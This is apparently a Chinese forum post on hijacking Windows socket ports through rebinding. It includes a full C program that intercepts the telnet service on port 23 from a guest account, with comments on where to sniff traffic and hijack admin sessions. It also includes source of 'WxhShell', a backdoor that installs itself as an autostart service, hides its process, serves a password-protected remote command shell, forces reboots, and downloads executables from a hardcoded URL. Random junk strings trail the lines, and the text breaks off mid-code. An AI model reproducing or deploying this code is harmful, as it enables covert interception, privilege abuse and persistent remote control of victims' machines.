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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G5MoIC  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hQWo ]WF(J  
o]R*6$  
  saddr.sin_family = AF_INET; -BV8,1  
JxP&znng  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L0lqm0h  
Jy^.L$bt  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); &\Ze<u  
2}\/_Y6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $U/|+*  
4D'AAr57  
  这意味着什么?意味着可以进行如下的攻击: Jn:h;|9w  
nrEG4X9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 F<V.OFt  
Uf}u`"$F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _O,k0O   
{sOWDM5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ^-^ii 3G`  
qr@ <'wp/  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5eLm  
J@}PBHK+  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 {P {h|+;  
;% <[*T:*'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -I0J-~#  
<jAn~=Uq[,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Q8H+=L:  
''Y'ZsQ;  
  #include \{EYkk0]  
  #include 9)?_[|2  
  #include pN4gHi=  
  #include    x DiGN Jc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *|4/XHi  
  int main() xNd p]u  
  { `s8o2"12  
  WORD wVersionRequested; wJc`^gj  
  DWORD ret; |!q,J  
  WSADATA wsaData; }&LVD$Bz  
  BOOL val; kNd(KQ<.17  
  SOCKADDR_IN saddr; cj\?vX\V  
  SOCKADDR_IN scaddr; 3\ {?L  
  int err; G' '9eV$  
  SOCKET s; e>2KW5.  
  SOCKET sc; r_hs_n!6  
  int caddsize; ZOBcV,K  
  HANDLE mt; ) ^`V{iD  
  DWORD tid;   m:D0O]2  
  wVersionRequested = MAKEWORD( 2, 2 ); -#Ys67,4N  
  err = WSAStartup( wVersionRequested, &wsaData ); 9RPZj>ezjA  
  if ( err != 0 ) { b_vKP  
  printf("error!WSAStartup failed!\n"); $@HW|Y  
  return -1; 9$#@Oe8*  
  } ^o87qr0g]  
  saddr.sin_family = AF_INET; }nRTw2-z  
   Cq -URih  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <U y $b4h  
tR\cS )  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YB1Jv[  
  saddr.sin_port = htons(23); / K(l[M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tIT/HG_o  
  { &. MUSqo9  
  printf("error!socket failed!\n"); &u!MI  
  return -1; ,<BV5~T.|  
  } d%K&  
  val = TRUE; if?X^j0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 C]Q`!e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %O$=%"D6  
  { 0g2rajS  
  printf("error!setsockopt failed!\n"); ceuEsQ}  
  return -1; vaLP_V  
  } . H}R}^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; d`,z4 _  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^-Rqlr,F;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R=3|(R+kA  
6:q,JB@i  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xn>N/+,  
  { <TTBIXV  
  ret=GetLastError(); qu\U^F  
  printf("error!bind failed!\n"); Xf[;^?]X  
  return -1; yIC C8M  
  } Z2 Vri  
  listen(s,2); ^u2x26].  
  while(1) D~FIv  
  { 'h@&rr@5  
  caddsize = sizeof(scaddr); J/QqwoR  
  //接受连接请求 rp4{lHw>C/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 29l bOi  
  if(sc!=INVALID_SOCKET) (-],VB (+  
  { kxR!hA8wv4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F|G v  
  if(mt==NULL) N,Js8Z"  
  { uz I-1@`  
  printf("Thread Creat Failed!\n"); wv`ar>qVL  
  break; l_4 ^TYF  
  } +^jm_+  
  } B6j/"x6N15  
  CloseHandle(mt); liqVfB%  
  } j"jQiL_*  
  closesocket(s); YhzDw8f  
  WSACleanup(); 8;"9A  
  return 0; ;Ea8>  
  }   ,:#h;4!VRF  
  DWORD WINAPI ClientThread(LPVOID lpParam) )w5!'W4Z8  
  { kT]jJbb"  
  SOCKET ss = (SOCKET)lpParam; yVQW|D0,j  
  SOCKET sc; %QQ 2u$  
  unsigned char buf[4096]; $ce*W 9`  
  SOCKADDR_IN saddr; u9(42jj[$U  
  long num; L]H' ]wpn=  
  DWORD val; c^cr_ i  
  DWORD ret; l8J2Xd @   
  //如果是隐藏端口应用的话,可以在此处加一些判断 |#{ i7>2U  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   DAg*  
  saddr.sin_family = AF_INET; K2\)9  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =.OzpV)=V  
  saddr.sin_port = htons(23); y>:U&P^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +6}CNC9Mp  
  { E^gN]Z"O  
  printf("error!socket failed!\n"); $BT[fJ'k  
  return -1; '@ p464  
  } eh>FYx( S  
  val = 100; IlwHHt;njp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c<lEFk!g  
  { *_d N9  
  ret = GetLastError(); = y(*?TZH  
  return -1; {LVA_7@  
  } 2ga8 G4dU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DUH DFG  
  { ^7*7^<  
  ret = GetLastError(); @y'ZM  
  return -1; pr1bsrMuL  
  } c10$5V&@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )Z|G6H`c3  
  { +S+=lu _  
  printf("error!socket connect failed!\n"); UCkV ;//.  
  closesocket(sc); 34[TM3L].  
  closesocket(ss); -"{g kjuv  
  return -1; xt IF)M  
  } Ud2Tn*QmI  
  while(1) hg:$H9\%  
  { /u_9uJ"-K(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g HkHAOe/  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )v11j.D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \t/0Yh-'  
  num = recv(ss,buf,4096,0); ,!LY:pMK  
  if(num>0) 4e;$+! dlV  
  send(sc,buf,num,0); w El-  
  else if(num==0) 7&OJ8B/  
  break; 61_-G#W  
  num = recv(sc,buf,4096,0); M# -E  
  if(num>0) 1Sza%D;3  
  send(ss,buf,num,0); 5W&L cBB  
  else if(num==0) >M!LC  
  break; S("dU`T?  
  } '*&dP"  
  closesocket(ss); #B6f{D[pI  
  closesocket(sc); ](8F]J ,  
  return 0 ; %W2U$I5  
  } /#&jF:h  
~Hv>^u Mh  
% ;R&cSZ  
========================================================== L;y BZLM  
dLF*'JjY  
下边附上一个代码,,WXhSHELL =au!rda  
4zt:3bW U  
========================================================== @V:Y%#%  
,6pGKCUU:y  
#include "stdafx.h" } XhL`%  
\=[j9'N>  
#include <stdio.h> q86}'dFw{  
#include <string.h> vfvp#  
#include <windows.h> I1l^0@J   
#include <winsock2.h> tg==Qgz  
#include <winsvc.h> HC1<zW[  
#include <urlmon.h> ,b IJW]h0  
2<p@G#(  
#pragma comment (lib, "Ws2_32.lib") 5M~nNm[xJU  
#pragma comment (lib, "urlmon.lib") oWLP|c~ Ap  
V=th-o3[  
#define MAX_USER   100 // 最大客户端连接数 aPK:k$.  
#define BUF_SOCK   200 // sock buffer K|$ c#X  
#define KEY_BUFF   255 // 输入 buffer JC-> eY"O2  
D)DD6  
#define REBOOT     0   // 重启  qsXkm4  
#define SHUTDOWN   1   // 关机  bKK'U4  
W2fcY;HZ  
#define DEF_PORT   5000 // 监听端口 $F9w0kz:,*  
E8"&gblg  
#define REG_LEN     16   // 注册表键长度 izGU&VeB  
#define SVC_LEN     80   // NT服务名长度 `H>&d K|/  
Uf ]$I`T#  
// 从dll定义API 1cMLl6Bp>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $d])>4eQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m ie~. "  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VS ;y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o#1Ta7Ro  
rl~Rbi  
// wxhshell配置信息 lo'#dpt<  
struct WSCFG { DNqV]N_W  
  int ws_port;         // 监听端口 '0 )`.  
  char ws_passstr[REG_LEN]; // 口令 GD d'{qE6  
  int ws_autoins;       // 安装标记, 1=yes 0=no }cGILH%  
  char ws_regname[REG_LEN]; // 注册表键名 ?wv3HN  
  char ws_svcname[REG_LEN]; // 服务名 pY3/AO=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \v\ONp"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rr\9HA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5pDE!6gQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YQFz6#Ew  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NIQ}+xpC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 F%&lM[N%  
":qHDL3  
}; B[EOz\?=m  
&{glwVKV  
// default Wxhshell configuration }`H{;A h  
struct WSCFG wscfg={DEF_PORT, HWB\}jcA6u  
    "xuhuanlingzhe", }vOg9/[{  
    1, s5+;8u9K  
    "Wxhshell", _Li.}g@Bd  
    "Wxhshell", fQU_:[ Uz  
            "WxhShell Service", k}E_1_S(  
    "Wrsky Windows CmdShell Service", xg^%8Ls^  
    "Please Input Your Password: ", gg^iYTpt  
  1, X(Mpg[,N"  
  "http://www.wrsky.com/wxhshell.exe", ')yYpWO  
  "Wxhshell.exe" Q(aNa!  
    }; A-3^~aEgx  
fJ5mKN  
// 消息定义模块 bx{njo1Mr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; x0{B7/FN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e1JH N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; YU+P+m2X  
char *msg_ws_ext="\n\rExit."; ;Gn>W+Ae M  
char *msg_ws_end="\n\rQuit."; X[$|I9  
char *msg_ws_boot="\n\rReboot..."; lfCr `[!E  
char *msg_ws_poff="\n\rShutdown..."; A Y<L8  
char *msg_ws_down="\n\rSave to "; [*(1~PrlO,  
-} j(_] t  
char *msg_ws_err="\n\rErr!"; Nl,iz_2]  
char *msg_ws_ok="\n\rOK!"; Wf5;~RJC?  
u*5}c7)uId  
char ExeFile[MAX_PATH]; #6YpV)  
int nUser = 0; RdyKd_0`Q  
HANDLE handles[MAX_USER]; :BV$3]y  
int OsIsNt; 4 $Kzh  
d/Wp>A@dob  
SERVICE_STATUS       serviceStatus; 2-ksr}:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "[fPzIP9  
LE5N2k  
// 函数声明 sUmpf4/  
int Install(void); Ah@e9`_r  
int Uninstall(void); l qh:c  
int DownloadFile(char *sURL, SOCKET wsh); )=#Js<&3:  
int Boot(int flag); .mqMzV  
void HideProc(void); Kf(Px%G6K  
int GetOsVer(void); >Je$WE3  
int Wxhshell(SOCKET wsl); *\}$,/m['  
void TalkWithClient(void *cs); ;=^J_2ls  
int CmdShell(SOCKET sock); vRW;{,d  
int StartFromService(void); <Z_\2 YW A  
int StartWxhshell(LPSTR lpCmdLine); h:C:opa-=  
lf KV%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >c Tt2v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [N%InsA9k  
tP2.D:( R  
// 数据结构和表定义 '-I\G6w9  
SERVICE_TABLE_ENTRY DispatchTable[] = vR5X  
{ x5smJ__/  
{wscfg.ws_svcname, NTServiceMain}, \Wppl,"6c  
{NULL, NULL} |9$C%@8  
}; nTs\zikP  
lWJYT <kt  
// 自我安装 'x? |tKzd  
int Install(void) 8p}z~\J{a:  
{ +jq@!P"}d  
  char svExeFile[MAX_PATH]; ]c 'EJu  
  HKEY key; %z[=T@  
  strcpy(svExeFile,ExeFile); GyxLzrp  
o.|36#Fa  
// 如果是win9x系统,修改注册表设为自启动 ^b$G.h{o!E  
if(!OsIsNt) { 32anmVnf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yh"9,Z&wiR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lr\(7r  
  RegCloseKey(key); x N>\t& c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vfhoN]v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1g,gilc  
  RegCloseKey(key); g}hNsU=$5~  
  return 0; S7cD}yx*[  
    } pK_zq  
  } 7oUo[  
} %zEy.7Ux  
else { _Fv6S}~Q  
QJR},nZ3  
// 如果是NT以上系统,安装为系统服务 J &=5h.G$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e(1{W P  
if (schSCManager!=0) ^:f)XZ  
{ 3]'h(C  
  SC_HANDLE schService = CreateService > 9z-/e  
  ( lq`7$7-4  
  schSCManager, RCK*?\m5  
  wscfg.ws_svcname, 1{cF/ :o  
  wscfg.ws_svcdisp, zI(uexxPqd  
  SERVICE_ALL_ACCESS, ff fWvf  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , mN R}%s  
  SERVICE_AUTO_START, wu{%gtx/;^  
  SERVICE_ERROR_NORMAL, km lb,P  
  svExeFile, KqaEHL  
  NULL, l 8GAZ*+  
  NULL, i \lr KA  
  NULL, XJS^{=/  
  NULL, +Bt%W%_X  
  NULL [,~;n@jz  
  ); ~e){2_J&n  
  if (schService!=0) XC/M:2$  
  { UA0( cK  
  CloseServiceHandle(schService); f!GFRMM1  
  CloseServiceHandle(schSCManager); a~-k} G5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C^U>{jf !  
  strcat(svExeFile,wscfg.ws_svcname); @fVz *  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { we*E}U4  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pm=s  
  RegCloseKey(key); qCm%};yt  
  return 0; $3970ni,?O  
    } XwU1CejP0  
  } 0\"]XYOH  
  CloseServiceHandle(schSCManager); ({C|(v9 C7  
} &oK&vgcj  
} 4Xv."L  
~"R;p}5 "  
return 1; ?#ywUEY* i  
} kCoEdQ_  
*;T HD>  
// 自我卸载 }72+i  
int Uninstall(void) $KGRpI  
{ N{!@M_C^%R  
  HKEY key; WO+>W+|N  
JVPLE*T  
if(!OsIsNt) { eE0nW+i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kH62#[J)yM  
  RegDeleteValue(key,wscfg.ws_regname); N\hHu6  
  RegCloseKey(key); lOIf4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79'N/:.  
  RegDeleteValue(key,wscfg.ws_regname); bGp3 V. H  
  RegCloseKey(key); H|;BT  
  return 0; DwXSlsN3v  
  } )OQih+#?W  
} {=y~O  
} [Ue"#w  
else { D CSTp2  
\e?w8R.6w^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vH?3UW  
if (schSCManager!=0) m&6)Vt  
{ zids2/_*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); z"{Ji{>%=  
  if (schService!=0) j sw0"d(  
  { 6 &MATMR  
  if(DeleteService(schService)!=0) { ;J?zD9  
  CloseServiceHandle(schService); 'c/Z W  
  CloseServiceHandle(schSCManager); 4Mj cx.21  
  return 0; "nn>I}jK  
  } *Cx3bg*Gan  
  CloseServiceHandle(schService); 9J f.Ls  
  } <cR]-Yr~  
  CloseServiceHandle(schSCManager); t1]sv VX,w  
} Z<[f81hE&  
} roWg~U(S  
X>s'_F?  
return 1; inv 5>OeG  
} zVtNT@1K>u  
rp,PhS  
// 从指定url下载文件 { daEKac5  
int DownloadFile(char *sURL, SOCKET wsh) !XrnD#  
{ J [ 4IO  
  HRESULT hr; K<D=QweOon  
char seps[]= "/";  *4{GI D  
char *token; (n~GKcA  
char *file; /m+\oZ ]d  
char myURL[MAX_PATH]; ZHOh(  
char myFILE[MAX_PATH]; UhF+},gU  
/-&a]PJ  
strcpy(myURL,sURL); uSn<]OrZo`  
  token=strtok(myURL,seps); =jW= Z$3q  
  while(token!=NULL) .VfBwTh7q8  
  { HP eN0=7>  
    file=token; *D$Hd">X  
  token=strtok(NULL,seps); HCVMqG!  
  } c/ABBvd|  
jMB&(r  
GetCurrentDirectory(MAX_PATH,myFILE); r4FGz!U  
strcat(myFILE, "\\"); [%yCnt  
strcat(myFILE, file); A@k`$xevVj  
  send(wsh,myFILE,strlen(myFILE),0); *[O)VkL\%i  
send(wsh,"...",3,0); >$iQDVh!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K\vyfYi  
  if(hr==S_OK) fp2.2 @[  
return 0; x $ oId{;  
else h`%}5})=  
return 1; ]&RC<imq  
Z4'8x h)-  
} c2fbqM~  
y72=d?]W  
// 系统电源模块 NT<> LWo  
int Boot(int flag) 2YL)" w  
{ :")iS?l  
  HANDLE hToken; xxC2F:Q?U  
  TOKEN_PRIVILEGES tkp; ag\xwS#i5H  
1'>wrGr  
  if(OsIsNt) { gx)!0n;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y$ To)qo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D 4fHNk)kZ  
    tkp.PrivilegeCount = 1; .q^+llM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Gh#$[5&`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9 EqU 2~  
if(flag==REBOOT) { @z!|HLD+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hs  m%o\  
  return 0; pAd 8-a  
} ic_q<Y}  
else { LU=`K4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cK(S{|F  
  return 0; Pa-p9]gq  
} ySk'#\d  
  } 7 P$>T  
  else { v0}R]h~>\H  
if(flag==REBOOT) { #nOS7Q#uW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N-O"y3W}  
  return 0; ClvqI"Rd  
} ?onTW2cG;  
else { j~@Hj$APa`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CtO`t5  
  return 0; <$]=Vaq  
} %3r`EIB6  
} >w~Hq9  
[aF^D;o  
return 1; O4mSr{HCp  
} "ApVgNB  
18xT2f  
// win9x进程隐藏模块 =83FCq"  
void HideProc(void) C;C= g1I}  
{ j(|9>J*,~G  
Pl}>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  gh{Z=_  
  if ( hKernel != NULL ) im6Rx=}E{  
  { E~y@ue:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); XsVp7zk\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B7 ^*xskH  
    FreeLibrary(hKernel); &u@<0 1=  
  } yp}a&Dg  
&r)i6{w81  
return; l*`2 EJ  
} Q,.[y"m9Y.  
PSM~10l,  
// 获取操作系统版本 ,o3{?o]s  
int GetOsVer(void) 8 )W{&#C>  
{ !G0OD$  
  OSVERSIONINFO winfo; F"k.1.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bh9!OqK9K  
  GetVersionEx(&winfo); 9F&s9(=\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vlk]  
  return 1; hd@ >p.  
  else 3j]P\T  
  return 0; S8 {Sb>  
} am$-1+iX  
^+hqGu]M  
// 客户端句柄模块 ]~!jf  
int Wxhshell(SOCKET wsl) lBbUA)z6  
{ <d$L}uQwg  
  SOCKET wsh; U',9t  
  struct sockaddr_in client; \ nIz5J}3  
  DWORD myID; /qYo*S_cG  
k|Hxd^^I  
  while(nUser<MAX_USER) u9.x31^  
{ E7_)P>aS5  
  int nSize=sizeof(client); "`aNNIG&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z`?Z1SBt  
  if(wsh==INVALID_SOCKET) return 1; WxN@&g(  
lO Rym:P  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vbDSNm#Yv  
if(handles[nUser]==0) px!TRb f  
  closesocket(wsh); ~F</ s.  
else `eF&|3!IYQ  
  nUser++; y?t2@f]!XK  
  } 7lo`)3mB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kiW|h)w_,v  
PWwz<AI+  
  return 0; *@XJ7G[  
} +x7b9sHJ  
$*%ipD}f  
// 关闭 socket YPjjSi:#  
void CloseIt(SOCKET wsh) wTpjM@F?J|  
{ ] Q 'Ed  
closesocket(wsh); ^x! N]  
nUser--; ux[h\Tp  
ExitThread(0); :V(+]<  
} '^T Q Ubw  
G lz0`z  
// 客户端请求句柄 Po%+:0oX  
void TalkWithClient(void *cs) nX@lR~g%F  
{ A]z~Dw3  
DNP %]{J  
  SOCKET wsh=(SOCKET)cs; PRs[! EB6  
  char pwd[SVC_LEN]; %s+H& vfQs  
  char cmd[KEY_BUFF]; ileqI/40f  
char chr[1]; &8l"Dl  
int i,j; o3_dHbdI  
duCso M/  
  while (nUser < MAX_USER) { 8{m5P8w'  
#~&SkIhBE  
if(wscfg.ws_passstr) { 4K_fN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rmX'Ym9#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i2a""zac  
  //ZeroMemory(pwd,KEY_BUFF); #HMJBQ4v#  
      i=0; EFb1Y{u^\!  
  while(i<SVC_LEN) { .RI{\i`  
E>/kNl  
  // 设置超时 u?OyvvpH  
  fd_set FdRead; [d( @lbV0  
  struct timeval TimeOut; `N+A8  
  FD_ZERO(&FdRead); Ig9gGI,  
  FD_SET(wsh,&FdRead); UDJ{ iZ  
  TimeOut.tv_sec=8;  aOS:rC  
  TimeOut.tv_usec=0; DNARe!pK  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >L\>Th{o  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3DNw=Ic0k  
3GH@|id  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -h5yg`+1N\  
  pwd=chr[0]; ]et4B+=i  
  if(chr[0]==0xd || chr[0]==0xa) { <<43 'N+  
  pwd=0; C'HW`rh.^  
  break; - P;_j,~U  
  } *Q?ZJS ~  
  i++; E0;KTcZi  
    } c:  /Wk  
?tWcx;h:>  
  // 如果是非法用户,关闭 socket 5dH}cXs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '#~$Od4&=  
} #WBlEVx;Z  
9y BENvq  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MXS N <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q Ee1OB  
0mJvoz\j8  
while(1) { 1 11s%  
w"s;R8  
  ZeroMemory(cmd,KEY_BUFF); JArSJ:}  
D& Xh|}2A  
      // 自动支持客户端 telnet标准   %SKp<>;9  
  j=0; (=v :@\r  
  while(j<KEY_BUFF) { XcOfQ s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "}_b,5lkGK  
  cmd[j]=chr[0]; 4)L(41h  
  if(chr[0]==0xa || chr[0]==0xd) { 9(;5!q,Gsg  
  cmd[j]=0; TO&ohATp  
  break; RlRkw+%m  
  } hE|Z~5\Y,>  
  j++; uSZCJ#'G  
    } r-M:YB  
ZLsfF =/G  
  // 下载文件 pmm?Fq!s=  
  if(strstr(cmd,"http://")) { gB4&pPN  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9"KO!w  
  if(DownloadFile(cmd,wsh)) >s 4"2X  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l)V!0eW  
  else R+'$V$g\X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F`/-Q>Q  
  } ^SP/&w<c  
  else { v'R{lXE  
W[pOLc-  
    switch(cmd[0]) { zV)(i<Q  
  UDjmXQ2,  
  // 帮助 ~}uv4;0l]  
  case '?': { 8nt3S m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r57&F`{  
    break;  =fJDFg  
  } Q5[x2 s_d  
  // 安装 K U 2LJ_~Y  
  case 'i': { Ttr)e:  
    if(Install()) G`n|fuv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #w%d  
    else Wo&WO e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Ld`$_E  
    break; U_s3)/'  
    } 6`K R  
  // 卸载 gMN>`Z`fV  
  case 'r': { b3/@$x<  
    if(Uninstall()) K|i:tHF]@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #[ei/p  
    else $Hw w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,;3bPjey  
    break; kJQH{n+)R  
    } 6Zr_W#SE  
  // 显示 wxhshell 所在路径 `IP?w&k)  
  case 'p': { _&(\>{pm  
    char svExeFile[MAX_PATH]; <WXGDCj  
    strcpy(svExeFile,"\n\r"); i-.]onR  
      strcat(svExeFile,ExeFile); {6*$yLWK  
        send(wsh,svExeFile,strlen(svExeFile),0); !,Ou:E?Bb  
    break; NCrNlH IF  
    } X8}m %  
  // 重启 KT5amct  
  case 'b': { M~rN17S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U yb-feG  
    if(Boot(REBOOT)) a&^HvXO(>(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC!IIE_  
    else { .Us)YVbk  
    closesocket(wsh); {yo{@pdX>  
    ExitThread(0); Ow#a|@  
    } Zz,j,w0 Z  
    break; _4#Mdnh}[  
    } ZVelKI8>  
  // 关机 JXx[e  
  case 'd': { ;[qA?<GJ  
